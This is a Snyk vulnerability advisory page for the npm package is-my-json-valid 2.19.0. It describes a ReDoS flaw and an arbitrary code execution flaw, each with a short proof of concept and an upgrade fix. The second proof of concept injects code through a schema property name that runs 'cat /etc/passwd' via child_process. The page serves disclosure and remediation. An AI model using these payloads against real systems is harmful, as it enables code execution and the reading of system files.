org.webjars.npm:is-my-json-valid@2.19.0 vulnerabilities

  • latest version

    2.20.6

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:is-my-json-valid package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the style format.

    ##PoC

    const imjv = require('is-my-json-valid')
    const validate = imjv({ maxLength: 100, format: 'style' })
    console.log(validate(' '.repeat(1e4)))
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:is-my-json-valid to version 2.20.5 or higher.

    [,2.20.5)
    • H
    Arbitrary Code Execution

    Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.

    ##PoC

    const schema = {
      type: 'object',
      properties: {
        'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
          required: true,
          type:'string'
        }
      },
    }
    var validate = validator(schema);
    validate({})
    

    How to fix Arbitrary Code Execution?

    Upgrade org.webjars.npm:is-my-json-valid to version 2.20.5 or higher.

    [,2.20.5)